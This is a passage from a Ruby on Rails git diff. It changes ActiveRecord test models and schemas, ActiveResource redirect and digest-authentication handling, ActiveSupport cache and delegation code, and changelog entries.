includes(:projects)) end + +class ThreadsafeDeveloper < ActiveRecord::Base + self.table_name = 'developers' + + def self.default_scope + sleep 0.05 if Thread.current[:long_default_scope] + limit(1) + end +end diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb index affa37b02d..198a963cbc 100644 --- a/activerecord/test/models/post.rb +++ b/activerecord/test/models/post.rb @@ -171,4 +171,14 @@ class PostWithDefaultInclude < ActiveRecord::Base self.table_name = 'posts' default_scope includes(:comments) has_many :comments, :foreign_key => :post_id +end + +class PostWithDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + default_scope :order => :title +end + +class SpecialPostWithDefaultScope < ActiveRecord::Base + self.table_name = 'posts' + default_scope where(:id => [1, 5,6]) end
\ No newline at end of file diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb index 6440dbe8ab..fe424e61b2 100644 --- a/activerecord/test/models/topic.rb +++ b/activerecord/test/models/topic.rb @@ -78,11 +78,12 @@ class Topic < ActiveRecord::Base after_initialize :set_email_address + def approved=(val) + @custom_approved = val + write_attribute(:approved, val) + end + protected - def approved=(val) - @custom_approved = val - write_attribute(:approved, val) - end def default_written_on self.written_on = Time.now unless attribute_present?("written_on") diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb index 79a88db0da..6c45e99671 100644 --- a/activerecord/test/models/toy.rb +++ b/activerecord/test/models/toy.rb @@ -1,4 +1,6 @@ class Toy < ActiveRecord::Base set_primary_key :toy_id belongs_to :pet + + scope :with_pet, joins(:pet) end diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb index c78d99f4af..ab2c7ccc10 100644 --- a/activerecord/test/schema/mysql2_specific_schema.rb +++ b/activerecord/test/schema/mysql2_specific_schema.rb @@ -21,4 +21,15 @@ BEGIN END SQL -end + ActiveRecord::Base.connection.execute <<-SQL +DROP TABLE IF EXISTS collation_tests; +SQL + + ActiveRecord::Base.connection.execute <<-SQL +CREATE TABLE collation_tests ( + string_cs_column VARCHAR(1) COLLATE utf8_bin, + string_ci_column VARCHAR(1) COLLATE utf8_general_ci +) CHARACTER SET utf8 COLLATE utf8_general_ci +SQL + +end
\ No newline at end of file diff --git a/activerecord/test/schema/mysql_specific_schema.rb b/activerecord/test/schema/mysql_specific_schema.rb index 30e1c5a167..a0adfe3752 100644 --- a/activerecord/test/schema/mysql_specific_schema.rb +++ b/activerecord/test/schema/mysql_specific_schema.rb @@ -32,4 +32,15 @@ BEGIN END SQL + ActiveRecord::Base.connection.execute <<-SQL +DROP TABLE IF EXISTS collation_tests; +SQL + + ActiveRecord::Base.connection.execute <<-SQL +CREATE TABLE collation_tests ( + string_cs_column VARCHAR(1) COLLATE utf8_bin, + string_ci_column VARCHAR(1) COLLATE utf8_general_ci +) CHARACTER SET utf8 COLLATE utf8_general_ci +SQL + end diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb index 64e0452100..bb08f5c181 100644 --- a/activerecord/test/schema/schema.rb +++ b/activerecord/test/schema/schema.rb @@ -37,6 +37,7 @@ ActiveRecord::Schema.define do create_table :admin_users, :force => true do |t| t.string :name + t.text :settings t.references :account end @@ -47,6 +48,7 @@ ActiveRecord::Schema.define do create_table :audit_logs, :force => true do |t| t.column :message, :string, :null=>false t.column :developer_id, :integer, :null=>false + t.integer :unvalidated_developer_id end create_table :authors, :force => true do |t| @@ -156,6 +158,7 @@ ActiveRecord::Schema.define do t.string :type t.integer :taggings_count, :default => 0 t.integer :children_count, :default => 0 + t.integer :parent_id end create_table :companies, :force => true do |t| @@ -461,6 +464,7 @@ ActiveRecord::Schema.define do create_table :pirates, :force => true do |t| t.column :catchphrase, :string t.column :parrot_id, :integer + t.integer :non_validated_parrot_id t.column :created_on, :datetime t.column :updated_on, :datetime end @@ -529,6 +533,7 @@ ActiveRecord::Schema.define do create_table :ships, :force => true do |t| t.string :name t.integer :pirate_id + t.integer :update_only_pirate_id t.datetime :created_at t.datetime :created_on t.datetime :updated_at @@ -663,7 +668,9 @@ ActiveRecord::Schema.define do t.string :description t.integer :man_id t.integer :polymorphic_man_id - t.string :polymorphic_man_type + t.string :polymorphic_man_type + t.integer :horrible_polymorphic_man_id + t.string :horrible_polymorphic_man_type end create_table :interests, :force => true do |t| diff --git a/activeresource/CHANGELOG b/activeresource/CHANGELOG index 25f9242b98..bd496a1263 100644 --- a/activeresource/CHANGELOG +++ b/activeresource/CHANGELOG @@ -1,4 +1,17 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* + +* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like + 301 Moved Permanently and 302 Found. GH #3302. + + [Jim Herz] + + +*Rails 3.1.1 (October 7, 2011)* + +* No changes. + + +*Rails 3.1.0 (August 30, 2011)* * The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. eg. diff --git a/activeresource/README.rdoc b/activeresource/README.rdoc index b03e8c4c25..c86289c5fe 100644 --- a/activeresource/README.rdoc +++ b/activeresource/README.rdoc @@ -22,13 +22,13 @@ received and serialized into a usable Ruby object. == Download and installation -The latest version of Active Support can be installed with Rubygems: +The latest version of Active Support can be installed with RubyGems: % [sudo] gem install activeresource Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activeresource/ +* https://github.com/rails/rails/tree/master/activeresource === Configuration and Usage @@ -36,7 +36,7 @@ Putting Active Resource to use is very similar to Active Record. It's as simple that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it: class Person < ActiveResource::Base - self.site = "http://api.people.com:3000/" + self.site = "http://api.people.com:3000" end Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes @@ -135,8 +135,8 @@ as the id of the ARes object. ==== Update -'save' is also used to update an existing resource - and follows the same protocol as creating a resource -with the exception that no response headers are needed - just an empty response when the update on the +'save' is also used to update an existing resource and follows the same protocol as creating a resource +with the exception that no response headers are needed -- just an empty response when the update on the server side was successful. # <person><first>Ryan</first></person> diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb index 74730ca01f..7b8afdca3c 100644 --- a/activeresource/lib/active_resource/base.rb +++ b/activeresource/lib/active_resource/base.rb @@ -170,8 +170,8 @@ module ActiveResource # <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The # following HTTP response codes will also result in these exceptions: # - # * 200..399 - Valid response, no exception (other than 301, 302) - # * 301, 302 - ActiveResource::Redirection + # * 200..399 - Valid response. No exceptions, other than these redirects: + # * 301, 302, 303, 307 - ActiveResource::Redirection # * 400 - ActiveResource::BadRequest # * 401 - ActiveResource::UnauthorizedAccess # * 403 - ActiveResource::ForbiddenAccess @@ -395,7 +395,7 @@ module ActiveResource # Subclass.site.user = 'david' # Parent.site # => 'http://david@test.com' # - # Without superclass_delegating_reader (expected behaviour) + # Without superclass_delegating_reader (expected behavior) # # Parent.site = 'http://anonymous@test.com' # Subclass.site # => 'http://anonymous@test.com' @@ -955,7 +955,7 @@ module ActiveResource prefix_options, query_options = {}, {} (options || {}).each do |key, value| - next if key.blank? + next if key.blank? || !key.respond_to?(:to_sym) (prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value end @@ -1357,7 +1357,9 @@ module ActiveResource end def load_attributes_from_response(response) - if !response['Content-Length'].blank? && response['Content-Length'] != "0" && !response.body.nil? && response.body.strip.size > 0 + if (response_code_allows_body?(response.code) && + (response['Content-Length'].nil? || response['Content-Length'] != "0") && + !response.body.nil? && response.body.strip.size > 0) load(self.class.format.decode(response.body), true) @persisted = true end @@ -1381,6 +1383,16 @@ module ActiveResource end private + + def read_attribute_for_serialization(n) + attributes[n] + end + + # Determine whether the response is allowed to have a body per HTTP 1.1 spec section 4.4.1 + def response_code_allows_body?(c) + !((100..199).include?(c) || [204,304].include?(c)) + end + # Tries to find a resource for a given collection name; if it fails, then the resource is created def find_or_create_resource_for_collection(name) find_or_create_resource_for(ActiveSupport::Inflector.singularize(name.to_s)) diff --git a/activeresource/lib/active_resource/connection.rb b/activeresource/lib/active_resource/connection.rb index d923204dde..94839c8c25 100644 --- a/activeresource/lib/active_resource/connection.rb +++ b/activeresource/lib/active_resource/connection.rb @@ -122,7 +122,7 @@ module ActiveResource # Handles response and error codes from the remote service. def handle_response(response) case response.code.to_i - when 301,302 + when 301, 302, 303, 307 raise(Redirection.new(response)) when 200...400 response @@ -238,8 +238,11 @@ module ActiveResource def digest_auth_header(http_method, uri) params = extract_params_from_response + request_uri = uri.path + request_uri << "?#{uri.query}" if uri.query + ha1 = Digest::MD5.hexdigest("#{@user}:#{params['realm']}:#{@password}") - ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{uri.path}") + ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{request_uri}") params.merge!('cnonce' => client_nonce) request_digest = Digest::MD5.hexdigest([ha1, params['nonce'], "0", params['cnonce'], params['qop'], ha2].join(":")) diff --git a/activeresource/lib/active_resource/http_mock.rb b/activeresource/lib/active_resource/http_mock.rb index 6167c1420e..36f52d61d3 100644 --- a/activeresource/lib/active_resource/http_mock.rb +++ b/activeresource/lib/active_resource/http_mock.rb @@ -149,7 +149,7 @@ module ActiveResource # Note, by default, every time you call +respond_to+, any previous request and response pairs stored # in HttpMock will be deleted giving you a clean slate to work on. # - # If you want to override this behaviour, pass in +false+ as the last argument to +respond_to+ + # If you want to override this behavior, pass in +false+ as the last argument to +respond_to+ # # === Example # diff --git a/activeresource/test/cases/authorization_test.rb b/activeresource/test/cases/authorization_test.rb index 69ef9a2821..17cd9b30fc 100644 --- a/activeresource/test/cases/authorization_test.rb +++ b/activeresource/test/cases/authorization_test.rb @@ -131,6 +131,12 @@ class AuthorizationTest < Test::Unit::TestCase assert_equal blank_digest_auth_header("/people/2.json", "fad396f6a34aeba28e28b9b96ddbb671"), authorization_header['Authorization'] end + def test_authorization_header_with_query_string_if_auth_type_is_digest + @authenticated_conn.auth_type = :digest + authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json?only=name')) + assert_equal blank_digest_auth_header("/people/2.json?only=name", "f8457b0b5d21b6b80737a386217afb24"), authorization_header['Authorization'] + end + def test_get david = decode(@authenticated_conn.get("/people/2.json")) assert_equal "David", david["name"] diff --git a/activeresource/test/cases/base/load_test.rb b/activeresource/test/cases/base/load_test.rb index 0d030148d0..784e7dd036 100644 --- a/activeresource/test/cases/base/load_test.rb +++ b/activeresource/test/cases/base/load_test.rb @@ -51,9 +51,28 @@ class BaseLoadTest < Test::Unit::TestCase :votes => [ true, false, true ], :places => [ "Columbia City", "Unknown" ]}}} + + # List of books formated as [{timestamp_of_publication => name}, ...] + @books = {:books => [ + {1009839600 => "Ruby in a Nutshell"}, + {1199142000 => "The Ruby Programming Language"} + ]} + + @books_date = {:books => [ + {Time.at(1009839600) => "Ruby in a Nutshell"}, + {Time.at(1199142000) => "The Ruby Programming Language"} + ]} @person = Person.new end + def test_load_hash_with_integers_as_keys + assert_nothing_raised{@person.load(@books)} + end + + def test_load_hash_with_dates_as_keys + assert_nothing_raised{@person.load(@books_date)} + end + def test_load_expects_hash assert_raise(ArgumentError) { @person.load nil } assert_raise(ArgumentError) { @person.load '<person id="1"/>' } diff --git a/activeresource/test/cases/base/schema_test.rb b/activeresource/test/cases/base/schema_test.rb index 48fdeb13df..d29eaf5fb6 100644 --- a/activeresource/test/cases/base/schema_test.rb +++ b/activeresource/test/cases/base/schema_test.rb @@ -139,7 +139,7 @@ class SchemaTest < ActiveModel::TestCase assert_nothing_raised { Person.schema = new_schema assert_equal new_schema, Person.schema, "should have saved the schema on the class" - assert_equal new_schema, Person.new.schema, "should have mde the schema available to every instance" + assert_equal new_schema, Person.new.schema, "should have made the schema available to every instance" } end @@ -283,8 +283,8 @@ class SchemaTest < ActiveModel::TestCase new_attr_name_two = :another_new_schema_attribute assert Person.schema.blank?, "sanity check - should have a blank class schema" - assert !Person.new.respond_do?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" - assert !Person.new.respond_do?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" assert_nothing_raised do Person.schema = {new_attr_name.to_s => 'string'} @@ -301,8 +301,8 @@ class SchemaTest < ActiveModel::TestCase assert Person.schema.blank?, "sanity check - should have a blank class schema" - assert !Person.new.respond_do?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" - assert !Person.new.respond_do?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet" + assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet" assert_nothing_raised do Person.schema { string new_attr_name_two } diff --git a/activeresource/test/cases/base_test.rb b/activeresource/test/cases/base_test.rb index f45652d988..7b42f64a35 100644 --- a/activeresource/test/cases/base_test.rb +++ b/activeresource/test/cases/base_test.rb @@ -636,13 +636,37 @@ class BaseTest < Test::Unit::TestCase assert_nil p.__send__(:id_from_response, resp) end - def test_load_attributes_from_response - p = Person.new + def test_not_persisted_with_no_body_and_positive_content_length resp = ActiveResource::Response.new(nil) resp['Content-Length'] = "100" - assert_nil p.__send__(:load_attributes_from_response, resp) + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? + end + + def test_not_persisted_with_body_and_zero_content_length + resp = ActiveResource::Response.new(@rick) + resp['Content-Length'] = "0" + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? end + # These response codes aren't allowed to have bodies per HTTP spec + def test_not_persisted_with_empty_response_codes + [100,101,204,304].each do |status_code| + resp = ActiveResource::Response.new(@rick, status_code) + Person.connection.expects(:post).returns(resp) + assert !Person.create.persisted? + end + end + + # Content-Length is not required by HTTP 1.1, so we should read + # the body anyway in its absence. + def test_persisted_with_no_content_length + resp = ActiveResource::Response.new(@rick) + resp['Content-Length'] = nil + Person.connection.expects(:post).returns(resp) + assert Person.create.persisted? + end def test_create_with_custom_prefix matzs_house = StreetAddress.new(:person_id => 1) @@ -980,9 +1004,17 @@ class BaseTest < Test::Unit::TestCase def test_to_xml_with_private_method_name_as_attribute Person.format = :xml - assert_nothing_raised(ArgumentError) { - Customer.new(:test => true).to_xml - } + + customer = Customer.new(:foo => "foo") + customer.singleton_class.class_eval do + def foo + "bar" + end + private :foo + end + + assert !customer.to_xml.include?("<foo>bar</foo>") + assert customer.to_xml.include?("<foo>foo</foo>") ensure Person.format = :json end diff --git a/activeresource/test/cases/connection_test.rb b/activeresource/test/cases/connection_test.rb index 09df0fb678..535107aeef 100644 --- a/activeresource/test/cases/connection_test.rb +++ b/activeresource/test/cases/connection_test.rb @@ -2,6 +2,7 @@ require 'abstract_unit' class ConnectionTest < Test::Unit::TestCase ResponseCodeStub = Struct.new(:code) + RedirectResponseStub = Struct.new(:code, :Location) def setup @conn = ActiveResource::Connection.new('http://localhost') @@ -38,6 +39,18 @@ class ConnectionTest < Test::Unit::TestCase assert_equal expected, handle_response(expected) end + # 301 is moved permanently (redirect) + assert_redirect_raises 301 + + # 302 is found (redirect) + assert_redirect_raises 302 + + # 303 is see other (redirect) + assert_redirect_raises 303 + + # 307 is temporary redirect + assert_redirect_raises 307 + # 400 is a bad request (e.g. malformed URI or missing request parameter) assert_response_raises ActiveResource::BadRequest, 400 @@ -247,6 +260,12 @@ class ConnectionTest < Test::Unit::TestCase end end + def assert_redirect_raises(code) + assert_raise(ActiveResource::Redirection, "Expected response code #{code} to raise ActiveResource::Redirection") do + handle_response RedirectResponseStub.new(code, 'http://example.com/') + end + end + def handle_response(response) @conn.__send__(:handle_response, response) end diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG index a25720adbf..63f406cd9f 100644 --- a/activesupport/CHANGELOG +++ b/activesupport/CHANGELOG @@ -1,11 +1,17 @@ *Rails 3.2.0 (unreleased)* +* Added safe_constantize that constantizes a string but returns nil instead of an exception if the constant (or part of it) does not exist [Ryan Oblak] + +* ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! [Prem Sichanugrist] + +* Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<< [DHH] + * The definition of blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. [Akira Matsuda, Damien Mathieu] * The inflector understands acronyms. [dlee] -* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern [José Valim] +* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern [José Valim] * Added Time#all_day/week/quarter/year as a way of generating ranges (example: Event.where(created_at: Time.now.all_week)) [DHH] @@ -16,7 +22,19 @@ Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. [Akira * ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat. [Andrew Radev] -*Rails 3.1.0 (unreleased)* +*Rails 3.1.0 (August 30, 2011)* + +* ActiveSupport::Dependencies#load and ActiveSupport::Dependencies#require now +return the value from `super` [Aaron Patterson] + +* Fixed ActiveSupport::Gzip to work properly in Ruby 1.8 [Guillermo Iguaran] + +* Kernel.require_library_or_gem was deprecated and will be removed in Rails 3.2.0 [Josh Kalderimis] + +* ActiveSupport::Duration#duplicable? was fixed for Ruby 1.8 [thedarkone] + +* ActiveSupport::BufferedLogger set log encoding to BINARY, but still use text +mode to output portable newlines. [fxn] * ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant. This better reflects the nature of the error which is usually caused by calling constantize on a nested constant. [Andrew White] diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc index a38ad76f43..1ab8e00608 100644 --- a/activesupport/README.rdoc +++ b/activesupport/README.rdoc @@ -8,13 +8,13 @@ outside of Rails. == Download and installation -The latest version of Active Support can be installed with Rubygems: +The latest version of Active Support can be installed with RubyGems: % [sudo] gem install activesupport Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activesupport/ +* https://github.com/rails/rails/tree/master/activesupport == License diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb index ac88c82709..95d936b32f 100644 --- a/activesupport/lib/active_support/cache.rb +++ b/activesupport/lib/active_support/cache.rb @@ -347,7 +347,7 @@ module ActiveSupport entry = read_entry(key, options) if entry if entry.expired? - delete_entry(key) + delete_entry(key, options) else results[name] = entry.value end @@ -557,15 +557,14 @@ module ActiveSupport @expires_in = options[:expires_in] @expires_in = @expires_in.to_f if @expires_in @created_at = Time.now.to_f - if defined?(value) + if value.nil? + @value = nil + else + @value = Marshal.dump(value) if should_compress?(value, options) - @value = Zlib::Deflate.deflate(Marshal.dump(value)) + @value = Zlib::Deflate.deflate(@value) @compressed = true - else - @value = value end - else - @value = nil end end @@ -576,12 +575,8 @@ module ActiveSupport # Get the value stored in the cache. def value - if defined?(@value) - val = compressed? ? Marshal.load(Zlib::Inflate.inflate(@value)) : @value - unless val.frozen? - val.freeze rescue nil - end - val + if @value + Marshal.load(compressed? ? Zlib::Inflate.inflate(@value) : @value) end end @@ -614,10 +609,8 @@ module ActiveSupport def size if @value.nil? 0 - elsif @value.respond_to?(:bytesize) - @value.bytesize else - Marshal.dump(@value).bytesize + @value.bytesize end end diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb index f7c01948b4..b431041b76 100644 --- a/activesupport/lib/active_support/cache/file_store.rb +++ b/activesupport/lib/active_support/cache/file_store.rb @@ -13,6 +13,7 @@ module ActiveSupport attr_reader :cache_path DIR_FORMATTER = "%03X" + FILENAME_MAX_SIZE = 230 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write) def initialize(cache_path, options = nil) super(options) @@ -129,15 +130,13 @@ module ActiveSupport hash, dir_1 = hash.divmod(0x1000) dir_2 = hash.modulo(0x1000) fname_paths = [] - # Make sure file name is < 255 characters so it doesn't exceed file system limits. - if fname.size <= 255 - fname_paths << fname - else - while fname.size <= 255 - fname_path << fname[0, 255] - fname = fname[255, -1] - end - end + + # Make sure file name doesn't exceed file system limits. + begin + fname_paths << fname[0, FILENAME_MAX_SIZE] + fname = fname[FILENAME_MAX_SIZE..-1] + end until fname.blank? + File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths) end @@ -162,6 +161,7 @@ module ActiveSupport end def search_dir(dir, &callback) + return if !File.exist?(dir) Dir.foreach(dir) do |d| next if d == "." || d == ".." name = File.join(dir, d) diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb index 4688468a8f..268c9bed4c 100644 --- a/activesupport/lib/active_support/core_ext/array.rb +++ b/activesupport/lib/active_support/core_ext/array.rb @@ -5,3 +5,4 @@ require 'active_support/core_ext/array/conversions' require 'active_support/core_ext/array/extract_options' require 'active_support/core_ext/array/grouping' require 'active_support/core_ext/array/random_access' +require 'active_support/core_ext/array/prepend_and_append' diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb new file mode 100644 index 0000000000..27718f19d4 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb @@ -0,0 +1,7 @@ +class Array + # The human way of thinking about adding stuff to the end of a list is with append + alias_method :append, :<< + + # The human way of thinking about adding stuff to the beginning of a list is with prepend + alias_method :prepend, :unshift +end
\ No newline at end of file diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb index 080604147d..391bdc925d 100644 --- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb +++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb @@ -29,8 +29,11 @@ class BigDecimal coder.represent_scalar(nil, YAML_MAPPING[string] || string) end - def to_d - self + # Backport this method if it doesn't exist + unless method_defined?(:to_d) + def to_d + self + end end DEFAULT_STRING_FORMAT = 'F' diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb index ca9b2c1b60..45bec264ff 100644 --- a/activesupport/lib/active_support/core_ext/class/attribute.rb +++ b/activesupport/lib/active_support/core_ext/class/attribute.rb @@ -110,12 +110,6 @@ class Class private def singleton_class? - # in case somebody is crazy enough to overwrite allocate - allocate = Class.instance_method(:allocate) - # object.class always points to a real (non-singleton) class - allocate.bind(self).call.class != self - rescue TypeError - # MRI/YARV/JRuby all disallow creating new instances of a singleton class - true + !name || '' == name end end diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb index ddb4f3012f..9343bb7106 100644 --- a/activesupport/lib/active_support/core_ext/enumerable.rb +++ b/activesupport/lib/active_support/core_ext/enumerable.rb @@ -97,7 +97,7 @@ module Enumerable end # Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1. - # Can be called with a block too, much like any?, so people.many? { |p| p.age > 26 } returns true if more than 1 person is over 26. + # Can be called with a block too, much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns true if more than one person is over 26. def many? cnt = 0 if block_given? @@ -110,7 +110,7 @@ module Enumerable end end - # The negative of the Enumerable#include?. Returns true if the collection does not include the object. + # The negative of the <tt>Enumerable#include?</tt>. Returns true if the collection does not include the object. def exclude?(object) !include?(object) end diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb index 0b368fe7b7..f4cb445444 100644 --- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb +++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb @@ -2,7 +2,7 @@ require 'active_support/hash_with_indifferent_access' class Hash - # Returns an +ActiveSupport::HashWithIndifferentAccess+ out of its receiver: + # Returns an <tt>ActiveSupport::HashWithIndifferentAccess</tt> out of its receiver: # # {:a => 1}.with_indifferent_access["a"] # => 1 # diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb index d7fb2da0fb..0484d8e5d8 100644 --- a/activesupport/lib/active_support/core_ext/hash/slice.rb +++ b/activesupport/lib/active_support/core_ext/hash/slice.rb @@ -30,6 +30,8 @@ class Hash omit end + # Removes and returns the key/value pairs matching the given keys. + # {:a => 1, :b => 2, :c => 3, :d => 4}.extract!(:a, :b) # => {:a => 1, :b => 2} def extract!(*keys) result = {} keys.each {|key| result[key] = delete(key) } diff --git a/activesupport/lib/active_support/core_ext/io.rb b/activesupport/lib/active_support/core_ext/io.rb new file mode 100644 index 0000000000..75f1055191 --- /dev/null +++ b/activesupport/lib/active_support/core_ext/io.rb @@ -0,0 +1,15 @@ +if RUBY_VERSION < '1.9.2' + +# :stopdoc: +class IO + def self.binread(name, length = nil, offset = nil) + return File.read name unless length || offset + File.open(name, 'rb') { |f| + f.seek offset if offset + f.read length + } + end +end +# :startdoc: + +end diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb index 41f9a76b13..7de824a77f 100644 --- a/activesupport/lib/active_support/core_ext/module/delegation.rb +++ b/activesupport/lib/active_support/core_ext/module/delegation.rb @@ -1,5 +1,3 @@ -require "active_support/core_ext/module/remove_method" - class Module # Provides a delegate class method to easily expose contained objects' methods # as your own. Pass one or more methods (specified as symbols or strings) @@ -108,35 +106,48 @@ class Module unless options.is_a?(Hash) && to = options[:to] raise ArgumentError, "Delegation needs a target. Supply an options hash with a :to key as the last argument (e.g. delegate :hello, :to => :greeter)." end + prefix, to, allow_nil = options[:prefix], options[:to], options[:allow_nil] - if options[:prefix] == true && options[:to].to_s =~ /^[^a-z_]/ + if prefix == true && to.to_s =~ /^[^a-z_]/ raise ArgumentError, "Can only automatically set the delegation prefix when delegating to a method." end - prefix = options[:prefix] ? "#{options[:prefix] == true ? to : options[:prefix]}_" : '' + method_prefix = + if prefix + "#{prefix == true ? to : prefix}_" + else + '' + end file, line = caller.first.split(':', 2) line = line.to_i methods.each do |method| - on_nil = - if options[:allow_nil] - 'return' - else - %(raise "#{self}##{prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}") - end + method = method.to_s + + if allow_nil + module_eval(<<-EOS, file, line - 2) + def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block) + if #{to} || #{to}.respond_to?(:#{method}) # if client || client.respond_to?(:name) + #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block) + end # end + end # end + EOS + else + exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}") - module_eval(<<-EOS, file, line - 5) - def #{prefix}#{method}(*args, &block) # def customer_name(*args, &block) - #{to}.__send__(#{method.inspect}, *args, &block) # client.__send__(:name, *args, &block) - rescue NoMethodError # rescue NoMethodError - if #{to}.nil? # if client.nil? - #{on_nil} # return # depends on :allow_nil - else # else - raise # raise - end # end - end # end - EOS + module_eval(<<-EOS, file, line - 1) + def #{method_prefix}#{method}(*args, &block) # def customer_name(*args, &block) + #{to}.__send__(:#{method}, *args, &block) # client.__send__(:name, *args, &block) + rescue NoMethodError # rescue NoMethodError + if #{to}.nil? # if client.nil? + #{exception} # # add helpful message to the exception + else # else + raise # raise + end # end + end # end + EOS + end end end end diff --git a/activesupport/lib/active_support/core_ext/module/reachable.rb b/activesupport/lib/active_support/core_ext/module/reachable.rb index 443d2c3d53..5d3d0e9851 100644 --- a/activesupport/lib/active_support/core_ext/module/reachable.rb +++ b/activesupport/lib/active_support/core_ext/module/reachable.rb @@ -3,8 +3,6 @@ require 'active_support/core_ext/string/inflections' class Module def reachable? #:nodoc: - !anonymous? && name.constantize.equal?(self) - rescue NameError - false + !anonymous? && name.safe_constantize.equal?(self) end end diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb index 07d7c9b018..b76bc16ee1 100644 --- a/activesupport/lib/active_support/core_ext/module/remove_method.rb +++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb @@ -1,11 +1,16 @@ class Module def remove_possible_method(method) - remove_method(method) + if method_defined?(method) || private_method_defined?(method) + remove_method(method) + end rescue NameError + # If the requested method is defined on a superclass or included module, + # method_defined? returns true but remove_method throws a NameError. + # Ignore this. end def redefine_method(method, &block) remove_possible_method(method) define_method(method, &block) end -end
\ No newline at end of file +end diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb index 3f1540f685..5d5fcf00e0 100644 --- a/activesupport/lib/active_support/core_ext/object/to_query.rb +++ b/activesupport/lib/active_support/core_ext/object/to_query.rb @@ -7,7 +7,7 @@ class Object # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work. def to_query(key) require 'cgi' unless defined?(CGI) && defined?(CGI::escape) - "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}" + "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}" end end diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb index 4797c93e63..e77a9da0ec 100644 --- a/activesupport/lib/active_support/core_ext/object/try.rb +++ b/activesupport/lib/active_support/core_ext/object/try.rb @@ -28,8 +28,6 @@ class Object def try(*a, &b) if a.empty? && block_given? yield self - elsif !a.empty? && !respond_to?(a.first) - nil else __send__(*a, &b) end diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb index 